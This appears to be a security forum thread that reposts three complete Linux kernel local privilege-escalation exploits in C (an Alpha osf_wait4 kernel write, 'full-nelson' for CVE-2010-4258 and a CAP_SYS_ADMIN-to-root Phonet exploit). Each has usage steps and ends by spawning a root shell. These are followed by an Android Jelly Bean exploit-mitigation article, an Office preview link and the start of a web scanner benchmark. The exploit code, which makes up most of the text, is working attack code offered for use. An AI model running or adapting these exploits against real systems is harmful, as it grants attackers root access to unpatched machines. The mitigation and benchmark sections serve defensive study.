Nytro

DEC Alpha Linux <= 3.0 local root exploit Mai vechi, dar poate util: /* * DEC Alpha Linux <= 3.0 local root exploit * by Dan Rosenberg (@djrbliss) * * Usage: * $ gcc alpha-omega.c -o alpha-omega * $ ./alpha-omega * * Notes: * -Payload specific to <= 2.6.28 (no cred struct, modify as needed) * -Socket trigger tested on 2.6.28 (adjust offset as needed) * -INET_DIAG parsing code borrowed from netstat */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/wait.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/inet_diag.h> #include <string.h> #include <sys/mman.h> #include <errno.h> #include <netinet/in.h> #define SYS_osf_wait4 7 #define SOCK_OFFSET 552 /* Offset of sk_destruct fptr in sock * struct, change for your kernel */ #define PAGE_SIZE 8192 /* DEC alpha page size is 8K */ #define KERNEL_BASE 0xfffffc0000000000 /* DEC alpha PAGE_OFFSET */ #define TASK_STRUCT_OFFSET 64 /* task_struct offset in thread_info */ #define PAYLOAD 0x20000 #define PORT 31337 static int uid, gid; /* Writes (0xff & value) << 8 to addr */ void kernel_write(unsigned long addr, int value) { int pid = fork(); if (pid) { /* wait4 backdoor number two? */ syscall(SYS_osf_wait4, pid, (int *)addr, 0, 1); return; } else { exit(value); } } /* Get the INET_DIAG cookie for our socket, which contains the low 32 bits * of the sock struct address */ unsigned int get_cookie(unsigned int port) { int fd; struct sockaddr_nl nladdr; struct { struct nlmsghdr nlh; struct inet_diag_req r; } req; struct msghdr msg; char buf[8192]; struct iovec iov; struct inet_diag_msg *r; if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_INET_DIAG)) < 0) return -1; memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; req.nlh.nlmsg_len = sizeof(req); req.nlh.nlmsg_type = TCPDIAG_GETSOCK; req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; req.nlh.nlmsg_pid = 0; req.nlh.nlmsg_seq = 123456; memset(&req.r, 0, sizeof(req.r)); req.r.idiag_family = AF_INET; req.r.idiag_states = 0xfff; req.r.idiag_ext = 0; iov.iov_base = &req; iov.iov_len = sizeof(req); msg = (struct msghdr) { .msg_name = (void*)&nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; if (sendmsg(fd, &msg, 0) < 0) { close(fd); return -1; } iov.iov_base = buf; iov.iov_len = sizeof(buf); while (1) { int status; struct nlmsghdr *h; msg = (struct msghdr) { (void*)&nladdr, sizeof(nladdr), &iov, 1, NULL, 0, 0 }; status = recvmsg(fd, &msg, 0); if (status < 0) { if (errno == EINTR) continue; close(fd); return -1; } if (status == 0) { close(fd); return -1; } h = (struct nlmsghdr*)buf; while (NLMSG_OK(h, status)) { if (h->nlmsg_seq == 123456) { if (h->nlmsg_type == NLMSG_DONE) { close(fd); return -1; } if (h->nlmsg_type == NLMSG_ERROR) { close(fd); return -1; } r = NLMSG_DATA(h); if (r->idiag_family == AF_INET && ntohs(r->id.idiag_sport) == port) return r->id.idiag_cookie[0]; } h = NLMSG_NEXT(h, status); } } close(fd); return -1; } /* Get the address of the sock struct for our socket */ unsigned long get_sock_addr(unsigned int port) { FILE *f; char buf[1024], path[512]; unsigned int testport, cookie, a; unsigned long addr, b; f = fopen("/proc/net/tcp", "r"); if (f < 0) { printf(" [*] Failed to open /proc/net/tcp\n"); return 0; } while (fgets(buf, 1024, f)) { sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X " "%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u " "%d\n", &a, &a, &testport, &a, &a, &a, &a, &a, &a, &b, &a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a, &a); if (testport == port) { /* If kptr_restrict is on... */ if (!addr) { cookie = get_cookie(port); addr = (unsigned long)cookie + KERNEL_BASE; } fclose(f); return addr; } } fclose(f); return 0; } void getroot() { int i; /* Alpha has 16K stacks */ unsigned long thread_info = (unsigned long)&i & ~0x3fff; unsigned long task_struct = *(unsigned long *)(thread_info + TASK_STRUCT_OFFSET); int *j = (int *)task_struct; for (i = 0; i < 1000; i++, j++) { if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid && j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) { /* uid, euid, suid, fsuid */ j[0] = j[1] = j[2] = j[3] = 0; /* gid, egid, sgid, fsgid */ j[4] = j[5] = j[6] = j[7] = 0; /* caps */ j[10] = j[11] = 0xffffffff; j[12] = j[13] = 0xffffffff; j[14] = j[15] = 0xffffffff; break; } } } void trampoline() { asm volatile( "mov %0, $0\n" "ldq $27, 0($0)\n" "jsr $26, ($27)\n" : : "r"(PAYLOAD)); } int main(int argc, char * argv[]) { unsigned long target, *payload; void *landing; int sock; struct sockaddr_in addr; size_t len; uid = getuid(); gid = getgid(); printf(" [*] Opening TCP socket...\n"); sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { printf(" [*] Failed to open TCP socket.\n"); return -1; } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) { printf(" [*] Failed to bind TCP socket.\n"); return -1; } /* Our socket won't appear in /proc/net/tcp unless it's listening */ if (listen(sock, 1)) { printf(" [*] Failed to listen on TCP socket.\n"); return -1; } printf(" [*] Getting socket address from INET_DIAG...\n"); target = get_sock_addr(PORT); if (!target) { printf(" [*] Failed to get socket address.\n"); return -1; } printf(" [*] Socket address: %lx\n", target); target += SOCK_OFFSET; printf(" [*] Mapping payload...\n"); landing = mmap((void *)0x10000, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); /* We need to keep the address of our payload at a constant address, * so we can retrieve it and jump to it in our trampoline. */ payload = (unsigned long *)mmap((void *)PAYLOAD, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if (landing == MAP_FAILED || payload == MAP_FAILED) { printf(" [*] Failed to map payload.\n"); return -1; } *payload = (unsigned long)&getroot; memcpy((void *)landing, &trampoline, 256); printf(" [*] Overwriting function pointer at %lx...\n", target); kernel_write(target, 0); kernel_write(target + 4, 0); kernel_write(target + 1, 1); printf(" [*] Triggering payload...\n"); close(sock); if (getuid()) { printf(" [*] Failed to get root.\n"); return -1; } printf(" [*] Got root!\n"); execl("/bin/sh", "sh", NULL); } Sursa: http://vulnfactory.org/exploits/alpha-omega.c

Linux Kernel <= 2.6.37 local privilege escalation Mai vechi, dar poate util: /* * Linux Kernel <= 2.6.37 local privilege escalation * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc full-nelson.c -o full-nelson * ./full-nelson * * This exploit leverages three vulnerabilities to get root, all of which were * discovered by Nelson Elhage: * * CVE-2010-4258 * ------------- * This is the interesting one, and the reason I wrote this exploit. If a * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL * word will be written to a user-specified pointer when that thread exits. * This write is done using put_user(), which ensures the provided destination * resides in valid userspace by invoking access_ok(). However, Nelson * discovered that when the kernel performs an address limit override via * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, * etc.), this override is not reverted before calling put_user() in the exit * path, allowing a user to write a NULL word to an arbitrary kernel address. * Note that this issue requires an additional vulnerability to trigger. * * CVE-2010-3849 * ------------- * This is a NULL pointer dereference in the Econet protocol. By itself, it's * fairly benign as a local denial-of-service. It's a perfect candidate to * trigger the above issue, since it's reachable via sock_no_sendpage(), which * subsequently calls sendmsg under KERNEL_DS. * * CVE-2010-3850 * ------------- * I wouldn't be able to reach the NULL pointer dereference and trigger the * OOPS if users weren't able to assign Econet addresses to arbitrary * interfaces due to a missing capabilities check. * * In the interest of public safety, this exploit was specifically designed to * be limited: * * * The particular symbols I resolve are not exported on Slackware or Debian * * Red Hat does not support Econet by default * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and * Debian * * However, the important issue, CVE-2010-4258, affects everyone, and it would * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly * more sophisticated version of this that doesn't have the roadblocks I put in * to prevent abuse by script kiddies. * * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. * * NOTE: the exploit process will deadlock and stay in a zombie state after you * exit your root shell because the Econet thread OOPSes while holding the * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. * * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla */ #include <stdio.h> #include <sys/socket.h> #include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #include <net/if.h> #include <sched.h> #include <stdlib.h> #include <signal.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> /* How many bytes should we clear in our * function pointer to put it into userspace? */ #ifdef __x86_64__ #define SHIFT 24 #define OFFSET 3 #else #define SHIFT 8 #define OFFSET 1 #endif /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static int __attribute__((regparm(3))) getroot(void * file, void * vma) { commit_creds(prepare_kernel_cred(0)); return -1; } /* Why do I do this? Because on x86-64, the address of * commit_creds and prepare_kernel_cred are loaded relative * to rip, which means I can't just copy the above payload * into my landing area. */ void __attribute__((regparm(3))) trampoline() { #ifdef __x86_64__ asm("mov $getroot, %rax; call *%rax;"); #else asm("mov $getroot, %eax; call *%eax;"); #endif } /* Triggers a NULL pointer dereference in econet_sendmsg * via sock_no_sendpage, so it's under KERNEL_DS */ int trigger(int * fildes) { int ret; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); if(ret < 0) { printf(" [*] Failed to set Econet address.\n"); return -1; } splice(fildes[3], NULL, fildes[1], NULL, 128, 0); splice(fildes[0], NULL, fildes[2], NULL, 128, 0); /* Shouldn't get here... */ exit(0); } int main(int argc, char * argv[]) { unsigned long econet_ops, econet_ioctl, target, landing; int fildes[4], pid; void * newstack, * payload; /* Create file descriptors now so there are two references to them after cloning...otherwise the child will never return because it deadlocks when trying to unlock various mutexes after OOPSing */ pipe(fildes); fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0); fildes[3] = open("/dev/zero", O_RDONLY); if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { printf(" [*] Failed to open file descriptors.\n"); return -1; } /* Resolve addresses of relevant symbols */ printf(" [*] Resolving kernel addresses...\n"); econet_ioctl = get_kernel_sym("econet_ioctl"); econet_ops = get_kernel_sym("econet_ops"); commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { printf(" [*] Failed to resolve kernel symbols.\n"); return -1; } if(!(newstack = malloc(65536))) { printf(" [*] Failed to allocate memory.\n"); return -1; } printf(" [*] Calculating target...\n"); target = econet_ops + 10 * sizeof(void *) - OFFSET; /* Clear the higher bits */ landing = econet_ioctl << SHIFT >> SHIFT; payload = mmap((void *)(landing & ~0xfff), 2 * 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if ((long)payload == -1) { printf(" [*] Failed to mmap() at target address.\n"); return -1; } memcpy((void *)landing, &trampoline, 1024); clone((int (void *))trigger, (void *)((unsigned long)newstack + 65536), CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, &fildes, NULL, NULL, target); sleep(1); printf(" [*] Triggering payload...\n"); ioctl(fildes[2], 0, NULL); if(getuid()) { printf(" [*] Exploit failed to get root.\n"); return -1; } printf(" [*] Got root!\n"); execl("/bin/sh", "/bin/sh", NULL); } Sursa: http://vulnfactory.org/exploits/full-nelson.c

Linux Kernel CAP_SYS_ADMIN to root exploit Mai vechi dar poate util: /* * Linux Kernel CAP_SYS_ADMIN to root exploit * by Dan Rosenberg * @djrbliss on twitter * * Usage: * gcc -w caps-to-root.c -o caps-to-root * sudo setcap cap_sys_admin+ep caps-to-root * ./caps-to-root * * This exploit is NOT stable: * * * It only works on 32-bit x86 machines * * * It only works on >= 2.6.34 kernels (it could probably be ported back, but * it involves winning a race condition) * * * It requires symbol support for symbols that aren't included by default in * several distributions * * * It requires the Phonet protocol, which may not be compiled on some * distributions * * * You may experience problems on multi-CPU systems * * It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be * surprised if it doesn't work on other distributions. * * ---- * * Lately there's been a lot of talk about how a large subset of Linux * capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all * capability that, among other things, allows mounting filesystems and * injecting commands into an administrator's shell - in other words, it * trivially allows you to get root. However, I found another way to get root * from CAP_SYS_ADMIN...the hard way. * * This exploit leverages a signedness error in the Phonet protocol. By * specifying a negative protocol index, I can craft a series of fake * structures in userspace and cause the incrementing of an arbitrary kernel * address, which I then leverage to execute arbitrary kernel code. * * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth, * and bla. * */ #include <stdio.h> #include <fcntl.h> #include <sys/socket.h> #include <errno.h> #include <string.h> #include <linux/capability.h> #include <sys/utsname.h> #include <sys/mman.h> #include <unistd.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int getroot(void) { commit_creds(prepare_kernel_cred(0)); return 0; } int konami(void) { /* Konami code! */ asm("inc %edx;" /* UP */ "inc %edx;" /* UP */ "dec %edx;" /* DOWN */ "dec %edx;" /* DOWN */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "shl %edx;" /* LEFT */ "shr %edx;" /* RIGHT */ "push %ebx;" /* B */ "pop %ebx;" "push %eax;" /* A */ "pop %eax;" "mov $getroot, %ebx;" "call *%ebx;"); /* START */ return 0; } /* thanks spender... */ unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) return 0; oldstyle = 1; } while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } int main(int argc, char * argv[]) { int sock, proto, i, offset = -1; unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr; void * map; /* Create a socket to load the module for symbol support */ printf(" [*] Testing Phonet support and CAP_SYS_ADMIN...\n"); sock = socket(PF_PHONET, SOCK_DGRAM, 0); if(sock < 0) { if(errno == EPERM) printf(" [*] You don't have CAP_SYS_ADMIN.\n"); else printf(" [*] Failed to open Phonet socket.\n"); return -1; } /* Resolve kernel symbols */ printf(" [*] Resolving kernel symbols...\n"); proto_tab = get_kernel_sym("proto_tab"); pn_ops = get_kernel_sym("phonet_dgram_ops"); pn_ioctl = get_kernel_sym("pn_socket_ioctl"); commit_creds = get_kernel_sym("commit_creds"); prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred"); if(!proto_tab || !commit_creds || !prepare_kernel_cred || !pn_ops || !pn_ioctl) { printf(" [*] Failed to resolve kernel symbols.\n"); return -1; } /* Thanks bla, for reminding me how to do basic math */ landing = 0x20000000; proto = 1 << 31 | (landing - proto_tab) >> 2; /* Map it */ printf(" [*] Preparing fake structures...\n"); map = mmap((void *)landing, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf(" [*] Failed to map landing area.\n"); return -1; } /* Pointer to phonet_protocol struct */ ptr = (unsigned long *)landing; ptr[0] = &ptr[1]; /* phonet_protocol struct */ for(i = 1; i < 4; i++) ptr[i] = &ptr[4]; /* proto struct */ for(i = 4; i < 204; i++) ptr[i] = &ptr[204]; /* First, do a test run to calculate any offsets */ target = 0x30000000; /* module struct */ for(i = 204; i < 404; i++) ptr[i] = target; /* Map it */ map = mmap((void *)0x30000000, 0x2000000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf(" [*] Failed to map landing area.\n"); return -1; } printf(" [*] Calculating offsets...\n"); socket(PF_PHONET, SOCK_DGRAM, proto); ptr = 0x30000000; for(i = 0; i < 0x800000; i++) { if(ptr[i] != 0) { offset = i * sizeof(void *); break; } } if(offset == -1) { printf(" [*] Test run failed.\n"); return -1; } /* MSB of pn_ioctl */ target = pn_ops + 10 * sizeof(void *) - 1 - offset; /* Re-fill the module struct */ ptr = (unsigned long *)landing; for(i = 204; i < 404; i++) ptr[i] = target; /* Push pn_ioctl fptr into userspace */ printf(" [*] Modifying function pointer...\n"); landing = pn_ioctl; while((landing & 0xff000000) != 0x10000000) { socket(PF_PHONET, SOCK_DGRAM, proto); landing += 0x01000000; } /* Map it */ map = mmap((void *)(landing & ~0xfff), 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); if(map == MAP_FAILED) { printf(" [*] Failed to map payload area.\n"); return -1; } /* Copy payload */ memcpy((void *)landing, &konami, 1024); printf(" [*] Executing Konami code at ring0...\n"); ioctl(sock, 0, NULL); if(getuid()) { printf(" [*] Exploit failed to get root.\n"); return -1; } printf(" [*] Konami code worked! Have a root shell.\n"); execl("/bin/sh", "/bin/sh", NULL); } Sursa: http://vulnfactory.org/exploits/caps-to-root.c

[h=2]Exploit Mitigations in Android Jelly Bean 4.1[/h] By Jon Oberheide on July 16, 2012 It’s been a few months since our analysis of the new ASLR support in Android ICS 4.0. Given that ICS 4.0 is old news now with the recent release of Jelly Bean 4.1, I thought it was about time to give an update on the ASLR capabilities as well as cover some of the other improvements in exploit mitigations present in Jelly Bean. As a quick recap of the current state of ASLR in Android ICS: For the uninitiated, ASLR randomizes where various areas of memory (eg. stack, heap, libs, etc) are mapped in the address space of a process. Combined with complementary mitigation techniques such as non-executable memory protection (NX, XN, DEP, W^X, whatever you want to call it), ASLR makes the exploitation of traditional memory corruption vulnerabilities probabilistically difficult. … Unfortunately, the ASLR support in Android 4.0 did not live up to expectations and is largely ineffective for mitigating real-world attacks, due to the lack of randomization of the executable and linker memory regions. It also would be beneficial to randomize the heap/brk by setting kernel.randomize_va_space=2.So, things weren’t in great shape. Despite those deficiencies, Android has stepped its game up mitigation-wise in the new Jelly Bean release. Read on for the full details! [h=3]A Brief History of Mitigations in Android[/h] I was going to give an overview of how exploit mitigations have evolved over the years in the various versions of Android, but it looks like Nick K from Google has beat me to it with a great timeline in their official security documentation: Android 1.5+ ProPolice to prevent stack buffer overruns (-fstack-protector)safe_iop to reduce integer overflowsExtensions to OpenBSD dlmalloc to prevent double free() vulnerabilities and to prevent chunk consolidation attacks. Chunk consolidation attacks are a common way to exploit heap corruption.OpenBSD calloc to prevent integer overflows during memory allocationAndroid 2.3+ Format string vulnerability protections (-Wformat-security -Werror=format-security)Hardware-based No eXecute (NX) to prevent code execution on the stack and heapLinux mmap_min_addr to mitigate null pointer dereference privilege escalation (further enhanced in Android 4.1)Android 4.0+ Address Space Layout Randomization (ASLR) to randomize key locations in memoryAndroid 4.1+ PIE (Position Independent Executable) supportRead-only relocations / immediate binding (-Wl,-z,relro -Wl,-z,now)dmesg_restrict enabled (avoid leaking kernel addresses)kptr_restrict enabled (avoid leaking kernel addresses) [h=3]What’s New in Jelly Bean[/h] There’s a few exploit mitigations that have been added/improved for Jelly Bean 4.1. Let’s go into a bit of detail on each. [h=4]ASLR – Position Independent Executables (PIE)[/h] As we mentioned in our previous post on Android ASLR, the executable mapping in the process address space was not randomized in Ice Cream Sandwich, making ROP-style attacks possible using the whole executable as a source of gadgets. In Jelly Bean, most binaries are now compiled/linked with the PIE flag (commits for the linker, ARM and x86), which means the executable mapping will be properly randomized when executed. To check whether a binary is a PIE, you can use the readelf(1) and check the type field in the ELF header. For example, the vold binary on Ice Cream Sandwich is not PIE-enabled as indicated by the EXEC ELF type: $ arm-linux-androideabi-readelf -h vold-4.0.2-gnexus | grep Type Type: EXEC (Executable file) While the vold binary on the new Jelly Bean version is PIE-enabled as indicated by the DYN ELF type: $ arm-linux-androideabi-readelf -h vold-4.1.1-gnexus | grep Type Type: DYN (Shared object file)[h=4]ASLR – Heap / Brk Randomization[/h] As mentioned in our previous blog post, kernel.randomize_va_space sysctl has now been set to 2 in Jelly Bean, enabling randomization of the heap/brk space, which was lacking in Ice Cream Sandwich. You can verify the correct randomize_va_space parameter easily on your device using adb: shell@android:/ $ cat /proc/versionLinux version 3.0.31-g6fb96c9 ...shell@android:/ $ cat /proc/sys/kernel/randomize_va_space2[h=4]ASLR – Linker Randomization[/h] The custom Android linker was the last piece of the ASLR puzzle that was not randomized in Ice Cream Sandwich. In Jelly Bean, the linker is now randomized in the process address space. This means that the deficiencies in ICS pointed out in our previous blog post have all been addressed in Jelly Bean, giving it full stack, heap/brk, lib/mmap, linker, and executable ASLR: Props to Nick K and the Android team for getting this implemented and landed between 4.0 and 4.1. [h=4]ELF Hardening – RELRO / BIND_NOW[/h] Also new in Jelly Bean, most of the system binaries are compiled with the RELRO and BIND_NOW flags passed to the linker (commits for the linker, ARM, and x86). This hardens those binaries against attacks that may attempt to overwrite the GOT and other sensitive ELF structures by making them read-only at startup. Stealth’s popular Gingerbreak exploit used a GOT overwrite to obtain code execution in the vold daemon. Check out slide #42 and #43 in my “Don’t Root Robots” presentation to see how Gingerbreak overwrites a GOT entry to point to system(3) and executes an arbitrary privileged command. If you’re interested in more non-Android-specific details on how the RELRO and BIND_NOW linker flags prevent GOT overwrites and other ELF trickery, Julien has a good blog post on the topic. [h=4]Infoleak Prevention – dmesg_restrict / kptr_restrict[/h] Jelly Bean also pulled in a couple easy enhancements inherited from the upstream Linux kernel that can prevent information leakage. The dmesg_restrict and kptr_restrict sysctls, originally implemented by Dan Rosenberg, are now available and enabled in 4.1. The former will prevent an unprivileged user from reading the dmesg/klogctl buffer which may contain sensitive information. The latter will prevent the system from exposing sensitive kernel address (eg. through various interfaces in /proc) to unprivileged userspace processes. The end result is denying attackers information sources on the system that may aid in increasing the feasibility or reliability of a kernel exploit. For example, my Levitator exploit used the /proc/kallsyms interface, which is now restricted by kptr_restrict. It’s not a huge gain, but still a good proactive step. [h=3]What’s Next for Android[/h] [h=4]ASLR Weaknesses[/h] Now that ASLR is implemented “fully”, it will certainly drive more interest towards the inherent weaknesses of 32-bit ASLR and other more platform/architecture-specific ASLR bypasses. Expect to see analysis showing just how weak “full ASLR” is entropy-wise when dealing with the constraints of a 32-bit address space. When you start digging into the implementation-specific details of exploit mitigations, hilarity often results (case in point: the 1 bit of entropy in Windows stack cookies). Hey, maybe I’ll do it if I can find some free time. [h=4]FORTIFY_SOURCE[/h] Since Google decided to implement their own libc (bionic), they lose some of the exploit mitigation benefits that have been in glibc for a while (did I really just use “exploit mitigation benefits” and “glibc” in the same sentence?). One such example is FORTIFY_SOURCE, a group of mitigations that can prevent certain styles of buffer overflows and string formatting attacks. Google will have to implement similar functionality into their bionic library. [h=4]PaX Hardening[/h] The PaX and grsecurity patchsets offer a wide range of hardening techniques that go above and beyond what the traditional Linux userspace and kernel offers. While some techniques may be inappropriate for mobile use due to performance impact and other architectural considerations, Google can definitely cherry-pick from these patchsets if they decide to be proactive about exploit mitigations. [h=4]MAC / RBAC[/h] Once a system has been hardened with the latest and greatest exploit mitigations available, one usually looks towards other methods of containing a successful exploit to prevent it from adversely affecting the rest of the system. Commonly, in the Linux world, folks will deploy MAC or RBAC based systems (such as SELinux, grsecurity, SMACK, Yama, seccomp, etc) to attempt to sandbox and bound the impact of a successful exploit. Given Google’s involvement in the new seccomp filter for ChromeOS and Chromium, I would not be at all surprised to see it employed in Android in the near future. [h=4]Mandatory Code Signing[/h] Lastly, code signing would go a long way towards preventing traditional memory corruption attacks (and also making Bouncer’s challenges a bit more tractable). While Android is still playing a bit of catch-up, other mobile platforms are moving ahead with more innovation exploit mitigation techniques, such as the in-kernel ASLR present in Apple’s iOS 6. One could claim that iOS is being proactive with such techniques, but in reality, they’re simply being reactive to the type of exploits that typically target the iOS platform. However, Apple does deserve credit for raising the barrier up to the point of kernel exploitation by employing effective userspace mitigations such NX, ASLR, and mandatory code signing. Thankfully, Android is getting there, and Jelly Bean is a major step towards that goal. Dug and Jon spend some time testing Android security in-person. Sursa: https://blog.duosecurity.com/2012/07/exploit-mitigations-in-android-jelly-bean-4-1/

Microsoft Office Customer Preview Explore the Office applications Services for business Office 365 ProPlus Office 365 Small Business Premium Office 365 Enterprise Link: http://www.microsoft.com/office/preview/en

Commercial & Open Source Scanners An Accuracy, Coverage, Versatility, Adaptability, Feature and Price Comparison of 60 Commercial & Open Source Black Box Web Application Vulnerability Scanners By Shay Chen Information Security Consultant, Researcher and Instructor Security Tools Benchmarking, http://www.sectoolmarket.com/ sectooladdict-$at$-gmail-$dot$-com July 2012 Assessment Environments: WAVSEP 1.2, ZAP-WAVE (WAVSEP integration), WIVET v3-rev148 Table of Contents 1. Introduction 2. List of Tested Web Application Scanners 3. Benchmark Overview & Assessment Criteria 4. A Glimpse at the Results of the Benchmark 5. Test I - Scanner Versatility - Input Vector Support 6. Test II – Attack Vector Support – Counting Audit Features 7. Introduction to the Various Accuracy Assessments 8. Test III – The Detection Accuracy of Reflected XSS 9. Test IV – The Detection Accuracy of SQL Injection 10. Test V – The Detection Accuracy of Path Traversal/LFI 11. Test VI – The Detection Accuracy of RFI (XSS via RFI) 12. Test VII - WIVET - Coverage via Automated Crawling 13. Test VIII – Scanner Adaptability - Crawling & Scan Barriers 14. Test IX – Authentication and Usability Feature Comparison 15. Test X – The Crown Jewel - Results & Features vs. Pricing 16. Additional Comparisons, Built-in Products and Licenses 17. What Changed? 18. Initial Conclusions – Open Source vs. Commercial 19. Verifying The Benchmark Results 20. So What Now? 21. Recommended Reading List: Scanner Benchmarks 22. Thank-You Note 23. FAQ - Why Didn't You Test NTO, Cenzic and N-Stalker? 24. Appendix A – List of Tools Not Included In the Test 1. Introduction [TABLE] [TR] [TD] Detailed Result Presentation at http://www.sectoolmarket.com/'>http://www.sectoolmarket.com/ Tools, Features, Results, Statistics and Price Comparison (Delete Cache) [/TD] [TD] A Step by Step Guide for Choosing the Right Web Application Vulnerability Scanner for *You* [Placeholder - Infosec Island] [/TD] [TD] A Perfectionist Guide for Optimal Use of Web Application Vulnerability Scanners [Placeholder] [/TD] [/TR] [/TABLE] Getting the information was the easy part. All I had to do was to invest a couple of years in gathering the list of tools, and a couple of more in documenting their various features. It's really a daily routine - you read a couple of posts in news groups in the morning, and couple blogs at the evening. Once you get used to it, it's fun, and even quite addictive. Then came the "best" fantasy, and with it, the inclination to test the proclaimed features of all the web application vulnerability scanners against each other, only to find out that things are not that simple, and finding the "best", if there is such a tool, was not an easy task. Inevitably, I tried searching for alternative assessment models, methods of measurements that will handle the imperfections of the previous assessments. I tried to change the perspective, add tests (and hundreds of those - 940+, to be exact), examine different aspects, and even make parts of the test process obscure, and now, I'm finally ready for another shot. In spite of everything I had invested in past researches, due to the focus I had on features and accuracy, and the policy I used when interacting with the various vendors, it was difficult, especially for me, to gain insights from the mass amounts of data that will enable me to choose, and more importantly, properly use the various tools in real life scenarios. Is the most accurate scanner necessarily the best choice for a point and shoot scenario? and what good will it do if it can't scan an application due to a specific scan barrier it can't handle, or because if does not support the input delivery method? I needed to gather other pieces of the puzzle, and even more importantly, I needed a method, or more accurately, a methodology. 